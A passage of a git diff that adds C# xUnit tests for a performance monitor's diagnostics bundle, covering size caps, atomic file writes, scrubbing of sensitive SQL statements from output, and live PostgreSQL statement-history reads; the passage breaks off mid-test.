+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the 4 MiB cap, per-section budgets and the atomic write.</summary>
+public sealed class DiagnosticsBundleSizeTests
+{
+    private static JsonObject Big(int rows) =>
+        new() { ["status"] = "ok", ["rows"] = new JsonArray(Enumerable.Range(0, rows).Select(i => (JsonNode?)new JsonObject { ["n"] = i, ["text"] = new string('x', 500) }).ToArray()) };
+
+    [Fact]
+    public void FitToBudget_DropsRowsFromTheEnd_AndMarksTruncated()
+    {
+        var node = DiagnosticsBundle.FitToBudget(Big(2_000), 64 * 1024, out var truncated);
+        Assert.True(truncated);
+        Assert.True(Encoding.UTF8.GetByteCount(node!.ToJsonString(DiagnosticsBundle.WriteOptions)) <= 64 * 1024);
+        Assert.True(node["truncated"]!.GetValue<bool>());
+        Assert.Equal(0, (int)((JsonArray)node["rows"]!)[0]!["n"]!);
+    }
+
+    [Fact]
+    public void Assemble_HoldsTheTotalUnderFourMiB_AndListsTruncationInTheManifest()
+    {
+        var sections = Enumerable.Range(0, 8).Select(i => new BundleSection("s" + i, Big(4_000), false)).ToList();
+        var (text, leaks, overCap) = DiagnosticsBundle.Assemble(sections, new BundleAliaser(), DiagnosticsBundle.BuildManifest(24, "fleet", 0));
+        Assert.False(overCap);
+        Assert.Empty(leaks);
+        Assert.True(Encoding.UTF8.GetByteCount(text!) <= DiagnosticsBundle.TotalCapBytes);
+        var manifest = JsonNode.Parse(text!)!["manifest"]!["sections"]!.AsArray();
+        Assert.Equal(8, manifest.Count);
+        Assert.All(manifest, s => Assert.True(s!["truncated"]!.GetValue<bool>()));
+    }
+
+    [Fact]
+    public void HealthFanOut_HasABudget()
+    {
+        Assert.True(DiagnosticsBundle.HealthFanOutBudgetBytes < DiagnosticsBundle.SectionBudgets["collection"]);
+    }
+
+    [Fact]
+    public void WriteAtomically_LeavesNoTempFile_OnSuccess_AndNoPartialOnFailure()
+    {
+        var dir = Directory.CreateTempSubdirectory("darling-bundle-write-");
+        try
+        {
+            var path = Path.Combine(dir.FullName, "b.json");
+            Assert.Null(DiagnosticsBundle.WriteAtomically(path, "{}", force: false));
+            Assert.Equal(new[] { "b.json" }, dir.GetFiles().Select(f => f.Name).ToArray());
+
+            /* The target exists and force is off: the move refuses, and the temp file is cleaned up. */
+            Assert.NotNull(DiagnosticsBundle.WriteAtomically(path, "{\"new\":1}", force: false));
+            Assert.Equal(new[] { "b.json" }, dir.GetFiles().Select(f => f.Name).ToArray());
+            Assert.Equal("{}", File.ReadAllText(path));
+        }
+        finally
+        {
+            dir.Delete(recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleStatementFilterTests.cs b/Darling/Darling.Tests/DiagnosticsBundleStatementFilterTests.cs
new file mode 100644
index 0000000000..9ccdd760ae
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleStatementFilterTests.cs
@@ -0,0 +1,112 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, L8: the diagnostics bundle runs every string it writes through the statement filter, because the sections it
+/// builds (the slow-read log's arguments, the collection health texts, the service log lines) are raw tool and store
+/// output that no MCP host filter has swept. A statement the filter names reads as the placeholder, a plan or report
+/// document goes through the XML judge, and a JSON document held in a string is walked. Text it keeps is unchanged.
+/// </summary>
+public sealed class DiagnosticsBundleStatementFilterTests
+{
+    private static string AssembleOne(string section, JsonNode node)
+    {
+        var (text, leaks, _) = DiagnosticsBundle.Assemble(
+            new[] { new BundleSection(section, node, false) }, new BundleAliaser(), DiagnosticsBundle.BuildManifest(1, "fleet", 0));
+        Assert.Empty(leaks);
+        Assert.NotNull(text);
+        return text!;
+    }
+
+    private static void AssertNoSecret(string text)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ASlowReadArgumentHoldingAStatement_IsWithheld_AndAPlainOneIsKept()
+    {
+        var node = new JsonObject
+        {
+            ["status"] = "ok",
+            ["reads"] = new JsonArray(new JsonObject
+            {
+                ["tool"] = "analyze_plan_xml",
+                ["arguments"] = new JsonObject
+                {
+                    ["statement"] = StatementScrubCanary.CanaryStatement,
+                    ["other"] = StatementScrubCanary.PlainStatement,
+                },
+            }),
+        };
+
+        var text = AssembleOne("slow_reads", node);
+
+        AssertNoSecret(text);
+        Assert.Contains(SensitiveStatements.PlaceholderText, text, StringComparison.Ordinal);
+        Assert.Contains("canary_plain_ssf", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AHealthErrorQuotingAStatement_IsWithheld()
+    {
+        var node = new JsonObject
+        {
+            ["status"] = "ok",
+            ["health_by_server"] = new JsonArray(new JsonObject
+            {
+                ["last_error"] = "Msg 15118: " + StatementScrubCanary.CanaryStatement + " failed",
+            }),
+        };
+
+        AssertNoSecret(AssembleOne("collection", node));
+    }
+
+    [Fact]
+    public void APlanHeldInAString_IsJudgedAsAPlan_ItsOtherStatementsKept()
+    {
+        var node = new JsonObject { ["status"] = "ok", ["plan"] = StatementScrubCanary.CanaryPlan() };
+
+        var text = AssembleOne("store_log", node);
+
+        AssertNoSecret(text);
+        Assert.Contains(SensitiveStatements.PlaceholderText, text, StringComparison.Ordinal);
+        Assert.Contains("canary_plain_ssf", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AJsonDocumentHeldInAString_IsWalked()
+    {
+        var inner = new JsonObject { ["sql"] = StatementScrubCanary.CanaryStatement, ["ok"] = "kept-value-ssf" }.ToJsonString();
+        var node = new JsonObject { ["status"] = "ok", ["payload"] = inner };
+
+        var text = AssembleOne("store_log", node);
+
+        AssertNoSecret(text);
+        Assert.Contains("kept-value-ssf", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ALogLineThatOnlyLooksLikeJson_IsKeptWhole()
+    {
+        var node = new JsonObject { ["status"] = "ok", ["line"] = "[12:00:01] collector tick finished in 40 ms" };
+
+        Assert.Contains("collector tick finished in 40 ms", AssembleOne("store_log", node), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleStoreHistoryLiveTests.cs b/Darling/Darling.Tests/DiagnosticsBundleStoreHistoryLiveTests.cs
new file mode 100644
index 0000000000..910e7d6aef
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleStoreHistoryLiveTests.cs
@@ -0,0 +1,550 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5097: the diagnostics bundle's statement-history member reads through <c>get_store_query_history</c>, not through the
+/// two V163 tables. Against a real server: the member is the tool's ranked answer for the same hours (up to the cut the bundle
+/// makes after it has aliased the text), a window the tool cannot serve is clamped and says so, a store before V163 still
+/// reads <c>not_present</c>, and an error the tool answers is the member as it is. Each fact mints its own scratch database.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DiagnosticsBundleStoreHistoryLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static readonly DateTime Now = DateTime.UtcNow;
+
+    /// <summary>More than 240 characters of text once pg_stat_statements has stored its literals as <c>$n</c>, so the tool's preview cuts it.</summary>
+    private static readonly string LongStatement =
+        $"SELECT 1 AS {new string('l', 60)}, 2 AS {new string('m', 60)}, 3 AS {new string('n', 60)}, 4 AS {new string('o', 60)}, 5 AS tail_marker";
+
+    private const string None = "false, false, false";
+
+    private static string Ts(double hoursAgo) =>
+        "'" + DateTime.SpecifyKind(Now.AddHours(-hoursAgo), DateTimeKind.Unspecified).ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture) + "'";
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlDataSource Source)> StartAsync(CancellationToken ct, bool migrate = true)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the bundle's statement-history live pins (each mints its own scratch database).");
+        var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        if (migrate)
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+        }
+
+        return (scratch, NpgsqlDataSource.Create(scratch.ConnectionString));
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static Task Capture(NpgsqlDataSource s, double hoursAgo, CancellationToken ct) =>
+        ExecAsync(s, $"INSERT INTO collect.store_statement_captures VALUES ({Ts(hoursAgo)}, 3600, NULL, 0, 0, 3, 3, 0, 'ok')", ct);
+
+    private static Task Row(NpgsqlDataSource s, double hoursAgo, long queryId, long calls, double totalMs, CancellationToken ct) =>
+        ExecAsync(s, $"INSERT INTO collect.store_statement_history VALUES ({Ts(hoursAgo)}, 3600, 'owner', {queryId}, {calls}, {totalMs.ToString(CultureInfo.InvariantCulture)}, 1, 2, 3, 4, 9.5, {None})", ct);
+
+    private static string Reason(JsonNode? member) => member!["reason"]!.GetValue<string>();
+
+    [Fact]
+    public async Task TheHistoryMember_IsTheToolsRankedAnswer_ForTheSameHours_UpToTheCutMadeAfterAliasing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            /* Real statement text: the extension is installed in the scratch database and a statement longer than the preview runs.
+               The run must happen: a missing extension fails here, it does not skip. */
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                var ensured = await StoreStatementStats.EnsureAsync(connection, "config", Array.Empty<string>(), Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+                Assert.Equal(StoreStatementStats.SetupOutcome.Ready, ensured);
+                /* Many runs: the extension's table is shared by every database on the server and evicts the least-used entries first. */
+                for (var i = 0; i < 25; i++)
+                {
+                    await using var statement = new NpgsqlCommand(LongStatement, connection);
+                    await statement.ExecuteNonQueryAsync(ct);
+                }
+            }
+
+            long longQueryId;
+            await using (var find = source.CreateCommand(
+                "SELECT queryid FROM pg_stat_statements WHERE query LIKE '%AS tail_marker' AND dbid = (SELECT oid FROM pg_database WHERE datname = current_database()) LIMIT 1"))
+            {
+                longQueryId = (long)(await find.ExecuteScalarAsync(ct))!;
+            }
+
+            /* The earliest capture is inside the window, so effective_start is that capture and does not move between the two reads. */
+            await Capture(source, 3.5, ct);
+            await Capture(source, 2.5, ct);
+            await Row(source, 3.5, longQueryId, 4, 900, ct);
+            await Row(source, 2.5, longQueryId, 6, 100, ct);
+            await Row(source, 2.5, 2, 5, 50, ct);
+            await Row(source, 3.5, 3, 9, 10, ct);
+
+            var member = await DiagnosticsBundleRunner.StatementHistoryAsync(source, 24, ct);
+            var tool = JsonNode.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(
+                source, query_id: null, role: null, hours_back: 24, top: DiagnosticsBundleRunner.StatementHistoryTop, cancellationToken: ct));
+
+            Assert.Equal("ranked", member!["mode"]!.GetValue<string>());
+            Assert.Equal(DiagnosticsBundleRunner.StatementHistoryTop, member["top"]!.GetValue<int>());
+            Assert.Equal(3, member["statements"]!.AsArray().Count);
+            Assert.Null(member["hours_back_clamped_from"]);
+
+            /* The bundle reads each statement's text whole, so it can alias it before it cuts it; the tool's own answer is already cut. */
+            var wholeText = member["statements"]![0]!["query"]!.GetValue<string>();
+            var cutText = tool!["statements"]![0]!["query"]!.GetValue<string>();
+            Assert.Equal(longQueryId.ToString(CultureInfo.InvariantCulture), member["statements"]![0]!["query_id"]!.GetValue<string>());
+            Assert.True(wholeText.Length > 240, $"the bundle's text should be whole, was {wholeText.Length} characters");
+            Assert.EndsWith("tail_marker", wholeText, StringComparison.Ordinal);
+            Assert.True(cutText.Length <= 243 && cutText.EndsWith("...", StringComparison.Ordinal), "the tool's answer should be cut to the preview");
+
+            /* After the cut the bundle makes once the text is aliased, the member is the tool's answer, key for key. */
+            DiagnosticsBundleRunner.CompactStatementTexts(member);
+            Assert.Equal(tool.ToJsonString(), member.ToJsonString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AWindowTheToolCannotServe_IsClamped_AndTheMemberSaysWhatWasAsked()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 0.5, ct);
+            await Row(source, 0.5, 7, 3, 30, ct);
+
+            var tooLong = await DiagnosticsBundleRunner.StatementHistoryAsync(source, 5000, ct);
+            Assert.Equal(DarlingMcpStoreQueryHistoryTools.MaxHours, tooLong!["hours_back"]!.GetValue<int>());
+            Assert.Equal(5000, tooLong["hours_back_clamped_from"]!.GetValue<int>());
+
+            var tooShort = await DiagnosticsBundleRunner.StatementHistoryAsync(source, 0, ct);
+            Assert.Equal(1, tooShort!["hours_back"]!.GetValue<int>());
+            Assert.Equal(0, tooShort["hours_back_clamped_from"]!.GetValue<int>());
+
+            /* The longest window the verb accepts is inside the tool's range and is not touched. */
+            var asked = await DiagnosticsBundleRunner.StatementHistoryAsync(source, DiagnosticsBundle.MaxHours, ct);
+            Assert.Equal(DiagnosticsBundle.MaxHours, asked!["hours_back"]!.GetValue<int>());
+            Assert.Null(asked["hours_back_clamped_from"]);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreBeforeV163_ReadsNotPresent_WithTodaysReason()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct, migrate: false);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            var member = await DiagnosticsBundleRunner.StatementHistoryAsync(source, 24, ct);
+
+            Assert.Equal("not_present", member!["status"]!.GetValue<string>());
+            Assert.Equal("This store has no statement-history tables yet.", Reason(member));
+            Assert.False(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["history"] = member }));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AnErrorTheToolAnswers_IsTheMemberAsItIs_AndFailsTheSection()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct, migrate: false);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            /* Both tables exist, so the probe lets the read through, but they are not V163's shape, so the tool's reads fail. */
+            await ExecAsync(source, "CREATE SCHEMA collect", ct);
+            await ExecAsync(source, "CREATE TABLE collect.store_statement_history (queryid bigint)", ct);
+            await ExecAsync(source, "CREATE TABLE collect.store_statement_captures (capture_time timestamp)", ct);
+
+            var member = await DiagnosticsBundleRunner.StatementHistoryAsync(source, 24, ct);
+
+            Assert.Equal("error", member!["status"]!.GetValue<string>());
+            Assert.True(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["cumulative"] = new JsonObject(), ["history"] = member }));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /// <summary>The status the manifest lists for a section.</summary>
+    private static string ManifestStatus(JsonNode bundle, string section) =>
+        bundle["manifest"]!["sections"]!.AsArray().Single(s => s!["name"]!.GetValue<string>() == section)!["status"]!.GetValue<string>();
+
+    [Fact]
+    public async Task AHistoryReadThatErrors_ListsTheSectionAsError_InTheManifestAndInTheSection_ExitsPartial_AndKeepsTheOtherMembers()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var root = Directory.CreateTempSubdirectory("darling-bundle-historyerror-");
+        var ok = false;
+        try
+        {
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var config = new DarlingConfig { Servers = { new MonitoredServer { Name = "alpha-sql-01" } } };
+
+            /* The control: the same store with a history that reads. The section is ok in the manifest and in its own body. */
+            var control = await DiagnosticsBundleRunner.BuildAsync(options, config, scratch.ConnectionString, source, null, null, ct);
+            var controlTree = JsonNode.Parse(control.Text!)!;
+            Assert.Equal("ok", ManifestStatus(controlTree, "store_statements"));
+            Assert.Null(controlTree["sections"]!["store_statements"]!["status"]);
+            Assert.NotEqual("error", controlTree["sections"]!["store_statements"]!["history"]!["status"]?.GetValue<string>());
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.Ok, control.ExitCode);
+
+            /* Break only the history read. The existence probe still finds both tables, so the tool is asked, and its read of the
+               capture table names a column that is gone, so the tool answers an error. */
+            await ExecAsync(source, "ALTER TABLE collect.store_statement_captures RENAME COLUMN outcome TO outcome_renamed", ct);
+
+            var broken = await DiagnosticsBundleRunner.BuildAsync(options, config, scratch.ConnectionString, source, null, null, ct);
+            var tree = JsonNode.Parse(broken.Text!)!;
+
+            /* The exit code reports a partial bundle and the manifest agrees: the section reads "error", the status a section that throws gets. */
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.PartialBundle, broken.ExitCode);
+            Assert.Equal("error", ManifestStatus(tree, "store_statements"));
+
+            /* The section says so itself, and keeps its other member and the history member with the tool's own error. */
+            var section = tree["sections"]!["store_statements"]!;
+            Assert.Equal("error", section["status"]!.GetValue<string>());
+            Assert.NotNull(section["cumulative"]);
+            Assert.Equal("error", section["history"]!["status"]!.GetValue<string>());
+            Assert.Contains("get_store_query_history", section["history"]!["message"]!.GetValue<string>(), StringComparison.Ordinal);
+
+            /* Nothing else in the bundle was marked failed by it. */
+            Assert.Equal(
+                new[] { "store_statements" },
+                tree["manifest"]!["sections"]!.AsArray().Where(s => s!["status"]!.GetValue<string>() == "error").Select(s => s!["name"]!.GetValue<string>()).ToArray());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>
+    /// A name and a literal that the first two planted statements carry. Neither may reach the tool's answer or any member of the
+    /// bundle, whatever the reader function returned.
+    /// </summary>
+    private const string PlantedName = "planted_zq9";
+
+    private const string PlantedLiteral = "zq9-literal";
+
+    private const long CredentialId = 9001;
+
+    private const long RawLiteralId = 9002;
+
+    private const long OrdinaryId = 9003;
+
+    /// <summary>Role DDL with a password: the statement the shared sensitive-statement filter names, withheld by its name alone.</summary>
+    private static readonly string CredentialText = $"ALTER ROLE {PlantedName} PASSWORD '{PlantedLiteral}'";
+
+    /// <summary>
+    /// A SELECT with its literals as typed, the text pg_stat_statements keeps when an entry is gone at executor end. The filter does
+    /// not name it, so the lexer is what masks it.
+    /// </summary>
+    private static readonly string RawLiteralText = $"SELECT '{PlantedLiteral}'::text AS raw_col, 4111111111111111";
+
+    private const string MaskedRawLiteralText = "SELECT '?'::text AS raw_col, ?";
+
+    /// <summary>Ordinary normalized text, longer than the tool's 240-character preview.</summary>
+    private static readonly string OrdinaryText =
+        $"SELECT $1 AS {new string('l', 60)}, $2 AS {new string('m', 60)}, $3 AS {new string('n', 60)}, $4 AS {new string('o', 60)}, $5 AS tail_marker";
+
+    /// <summary>
+    /// A store whose reader function is OLDER than the sensitive-statement pattern, the one case the tools' second layer is for. The
+    /// function is built as the product builds it and then replaced by one of the same signature that returns the three planted
+    /// texts as they are: the current body withholds the first text itself, so nothing else can put it in front of that layer. One
+    /// capture and one history row per statement, the credential statement ranking first and the ordinary one last.
+    /// </summary>
+    private static async Task PlantAsync(string connectionString, NpgsqlDataSource source, CancellationToken ct)
+    {
+        await using (var connection = new NpgsqlConnection(connectionString))
+        {
+            await connection.OpenAsync(ct);
+            var ensured = await StoreStatementStats.EnsureAsync(connection, "config", Array.Empty<string>(), Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+            Assert.Equal(StoreStatementStats.SetupOutcome.Ready, ensured);
+        }
+
+        static string Values(long id, double totalMs, string text) =>
+            $"('owner'::text, {id}::bigint, 5::bigint, {totalMs.ToString(CultureInfo.InvariantCulture)}::double precision, 10::double precision, 20::double precision, 0::double precision, 1::bigint, 2::bigint, 3::bigint, 4::bigint, {PgSensitiveStatementFilter.SqlLiteral(text)}::text)";
+
+        await ExecAsync(source, $@"
+CREATE OR REPLACE FUNCTION config.{StoreStatementStats.FunctionName}()
+RETURNS TABLE (role_name text, queryid bigint, calls bigint, total_exec_ms double precision, mean_exec_ms double precision, max_exec_ms double precision, total_plan_ms double precision, rows_returned bigint, shared_blks_hit bigint, shared_blks_read bigint, temp_blks_written bigint, query text)
+LANGUAGE sql
+SECURITY DEFINER
+SET search_path = pg_catalog, pg_temp
+SET standard_conforming_strings = on
+AS $stub$
+    SELECT * FROM (VALUES
+        {Values(CredentialId, 900, CredentialText)},
+        {Values(RawLiteralId, 500, RawLiteralText)},
+        {Values(OrdinaryId, 100, OrdinaryText)}
+    ) AS v
+$stub$", ct);
+
+        await Capture(source, 3.5, ct);
+        await Capture(source, 2.5, ct);
+        await Row(source, 2.5, CredentialId, 5, 900, ct);
+        await Row(source, 2.5, RawLiteralId, 5, 500, ct);
+        await Row(source, 2.5, OrdinaryId, 5, 100, ct);
+    }
+
+    /// <summary>The <c>query</c> of the statement with this id, in a tool answer or a bundle member (both list <c>statements</c> by <c>query_id</c>).</summary>
+    private static string QueryOf(JsonNode? answer, long queryId) =>
+        answer!["statements"]!.AsArray()
+            .Single(s => s!["query_id"]!.GetValue<string>() == queryId.ToString(CultureInfo.InvariantCulture))!["query"]!.GetValue<string>();
+
+    [Fact]
+    public async Task AStatementTheSharedFilterNames_ReadsAsWithheld_InTheToolAndInTheMember_AndARawLiteralIsMasked()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await PlantAsync(scratch.ConnectionString, source, ct);
+
+            var member = await DiagnosticsBundleRunner.StatementHistoryAsync(source, 24, ct);
+            var tool = JsonNode.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(
+                source, query_id: null, role: null, hours_back: 24, top: DiagnosticsBundleRunner.StatementHistoryTop, cancellationToken: ct));
+            Assert.Equal(3, member!["statements"]!.AsArray().Count);
+            Assert.Equal(3, tool!["statements"]!.AsArray().Count);
+
+            foreach (var answer in new[] { tool, member })
+            {
+                var json = answer.ToJsonString();
+                Assert.DoesNotContain(PlantedName, json, StringComparison.Ordinal);
+                Assert.DoesNotContain(PlantedLiteral, json, StringComparison.Ordinal);
+
+                /* The statement the filter names reads as withheld: not its text, and not an empty string either. */
+                Assert.Equal(StoreStatementStats.WithheldText, QueryOf(answer, CredentialId));
+
+                /* A raw-literal text is masked by the lexer, on the bundle's whole-text branch as on the tool's cut one. */
+                Assert.Equal(MaskedRawLiteralText, QueryOf(answer, RawLiteralId));
+            }
+
+            /* The ordinary statement survives: whole in the member, which the bundle aliases before it cuts, and cut in the tool's own answer. */
+            Assert.Equal(OrdinaryText, QueryOf(member, OrdinaryId));
+            var cut = QueryOf(tool, OrdinaryId);
+            Assert.True(cut.Length <= 243 && cut.EndsWith("...", StringComparison.Ordinal), "the tool's answer should be cut to the preview");
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AStatementTheSharedFilterNames_ReadsAsWithheld_InBothMembersOfTheBundlesStoreStatementsSection()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var root = Directory.CreateTempSubdirectory("darling-bundle-withheld-");
+        var ok = false;
+        try
+        {
+            await PlantAsync(scratch.ConnectionString, source, ct);
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var config = new DarlingConfig { Servers = { new MonitoredServer { Name = "alpha-sql-01" } } };
+
+            var built = await DiagnosticsBundleRunner.BuildAsync(options, config, scratch.ConnectionString, source, null, null, ct);
+            Assert.True(built.Text is not null, built.Message);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.Ok, built.ExitCode);
+
+            /* Nowhere in the file: the whole text and the literal of the statement the filter names, and the literal of the raw one. */
+            Assert.DoesNotContain(PlantedName, built.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain(PlantedLiteral, built.Text, StringComparison.Ordinal);
+
+            var section = JsonNode.Parse(built.Text!)!["sections"]!["store_statements"]!;
+            Assert.Null(section["status"]);
+            foreach (var name in new[] { "cumulative", "history" })
+            {
+                var member = section[name];
+                Assert.Equal(3, member!["statements"]!.AsArray().Count);
+                Assert.True(StoreStatementStats.WithheldText == QueryOf(member, CredentialId), $"{name}: the statement the filter names should read as withheld");
+                Assert.True(MaskedRawLiteralText == QueryOf(member, RawLiteralId), $"{name}: the raw literal should be masked");
+
+                /* Cut after aliasing, as every statement text in the bundle is. */
+                var cut = QueryOf(member, OrdinaryId);
+                Assert.True(cut.Length <= 243 && cut.EndsWith("...", StringComparison.Ordinal), $"{name}: the bundle's statement text should be cut to the preview");
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public void AnErrorInEitherMember_FailsTheSection_AndAPreconditionOrARefusalDoesNot()
+    {
+        static JsonObject Member(string? status) => status is null ? new JsonObject { ["mode"] = "ranked" } : new JsonObject { ["status"] = status };
+
+        Assert.True(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["cumulative"] = Member(null), ["history"] = Member("error") }));
+        Assert.True(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["cumulative"] = Member("error"), ["history"] = Member(null) }));
+        Assert.True(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["cumulative"] = Member("error"), ["history"] = Member("error") }));
+
+        Assert.False(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["cumulative"] = Member(null), ["history"] = Member(null) }));
+        foreach (var status in new[] { "precondition", "invalid", "not_present", "empty" })
+        {
+            Assert.False(DiagnosticsBundleRunner.MemberFailed(new JsonObject { ["cumulative"] = Member(status), ["history"] = Member(status) }));
+        }
+
+        Assert.False(DiagnosticsBundleRunner.MemberFailed(null));
+    }
+
+    [Fact]
+    public async Task ACumulativeReadThatErrors_ListsTheSectionAsError_InTheManifestAndInTheSection_ExitsPartial_AndKeepsTheHistoryMember()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var root = Directory.CreateTempSubdirectory("darling-bundle-cumulativeerror-");
+        var ok = false;
+        try
+        {
+            /* The reader functions must exist for the stats tool to get past its precondition, so the break below is a read error. */
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                var ensured = await StoreStatementStats.EnsureAsync(connection, "config", Array.Empty<string>(), Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+                Assert.Equal(StoreStatementStats.SetupOutcome.Ready, ensured);
+            }
+
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var config = new DarlingConfig { Servers = { new MonitoredServer { Name = "alpha-sql-01" } } };
+
+            /* The control: both members read, and the section is ok in the manifest and in its own body. */
+            var control = await DiagnosticsBundleRunner.BuildAsync(options, config, scratch.ConnectionString, source, null, null, ct);
+            var controlTree = JsonNode.Parse(control.Text!)!;
+            Assert.Equal("ok", ManifestStatus(controlTree, "store_statements"));
+            Assert.Null(controlTree["sections"]!["store_statements"]!["status"]);
+            Assert.NotEqual("error", controlTree["sections"]!["store_statements"]!["cumulative"]!["status"]?.GetValue<string>());
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.Ok, control.ExitCode);
+
+            /* Break only the cumulative read. The stats tool's precondition looks at the ranking function alone, so it goes on to read
+               the info function, which is gone, and answers an error. The history member does not touch it. */
